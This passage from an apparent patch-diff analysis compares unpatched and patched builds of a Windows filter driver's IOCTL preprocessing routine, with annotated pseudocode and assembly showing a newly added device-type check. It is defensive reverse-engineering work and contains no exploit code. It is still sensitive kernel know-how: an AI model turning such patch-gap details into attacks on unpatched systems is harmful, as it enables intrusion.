&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;devtype&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x6000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;// *** NEW: only silo-appropriate types ***&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// sbb folds `ok` into the existing dispatch flags:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//   al = ok ? copy_flag    : 0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//   dl = ok ? forward_flag : 0&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                               &lt;/span&gt;&lt;span class="c1"&gt;// devtype &amp;gt;= 0x6000  → SKIP completion&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;CurrentLocation&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Tail&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Overlay&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CurrentStackLocation&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;stack_loc_next&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                                     &lt;/span&gt;&lt;span class="c1"&gt;// devtype &amp;lt; 0x6000 → install as before&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stack_loc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;stack_loc&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;FilterDeviceWdmIoctlCompletionRoutine&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// same routine (relocated)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x08&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;device_object&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x45&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mh"&gt;0xC0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IofCallDriver&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target_dev&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;irp&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;drv_obj&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;wdf_forward&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;irp&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Inline notes&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The unpatched code never reads &lt;code&gt;device_extension[0x130]&lt;/code&gt;. The patched gate is the only behavioral addition; everything else is code/data shift.&lt;/li&gt;
&lt;li&gt;The completion-routine target address changes from &lt;code&gt;0x1c0005b50&lt;/code&gt; (unpatched) to &lt;code&gt;0x1c0005ba0&lt;/code&gt; (patched). This is pure relocation: the patched preprocess function grew by &lt;code&gt;0x50&lt;/code&gt; bytes, shifting every following function down by the same amount. The completion routine's instructions are byte-identical between builds.&lt;/li&gt;
&lt;li&gt;The WPP trace-string reference also shifts as a data-section relocation artifact — not a behavioral change.&lt;/li&gt;
&lt;li&gt;The unpatched reject path (&lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt;, &lt;code&gt;0xC000000D&lt;/code&gt;) jumps directly to the epilogue after &lt;code&gt;IofCompleteRequest&lt;/code&gt;. The patched build restructures the epilogue: the reject path stores the status into &lt;code&gt;r14d&lt;/code&gt; and reaches a single early-return check (&lt;code&gt;test r14d, r14d; js &amp;lt;epilogue&amp;gt;&lt;/code&gt; at &lt;code&gt;0x1c0005927&lt;/code&gt;). This is behaviorally equivalent to the unpatched direct jump — a refactoring artifact of the restructured function, not a new security check.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;UNPATCHED &lt;code&gt;FilterDeviceEvtWdmIoctlIrpPreprocess&lt;/code&gt; (&lt;code&gt;0x1c0005790&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; ---- Prologue / device-extension fetch ----&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005790:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00057a3:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00057a5:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x20&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00057b0:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; rbp = IRP (arg2)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00057ba:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; r14 = device object (arg1)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00057ce:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;__guard_dispatch_icall_fptr&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; get device extension&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00057db:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; rdi = device extension&lt;/span&gt;
&lt;span class="c1"&gt;; (acquire/release ext lock around reading ext-&amp;gt;flag_08 / ext-&amp;gt;flag_10)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00057f5:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x08&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; ebx = ext-&amp;gt;isSilo flag&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00057f8:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; esi = ext-&amp;gt;flag_10&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005813:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;__guard_dispatch_icall_fptr&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; release lock&lt;/span&gt;

&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005819:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0xb8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; rdx = CurrentStackLocation&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005820:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; silo device?&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005822:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c000583e&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; yes → MF dispatch&lt;/span&gt;

&lt;span class="c1"&gt;; ---- non-silo: short-circuit on STORAGE_QUERY_PROPERTY ----&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005824:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x0e&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005827:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c0005836&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005829:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x2d1400&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005830:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;0x1c0005913&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005836:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;sil&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005839:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c0005916&lt;/span&gt;

&lt;span class="c1"&gt;; ---- SCSI path (MF == 0x0f) ----&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000583e:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005840:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x0f&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005842:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c0005874&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005844:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x08&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; SRB pointer&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005848:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x02&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x28&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000584c:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c0005854&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000584e:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005852:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c0005858&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005854:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x0c&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005858:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;r8b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; r8b = 1 → COPY + completion routine&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000585b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;sil&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000585e:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;setz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cl&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005861:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;bt&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x13&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005866:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;setnb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005869:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cl&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000586b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;setnz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;sil&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; forward-method flag&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000586f:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c0005919&lt;/span&gt;

&lt;span class="c1"&gt;; ---- IOCTL path (MF == 0x0e) ----&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005874:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x0e&lt;/span&gt;
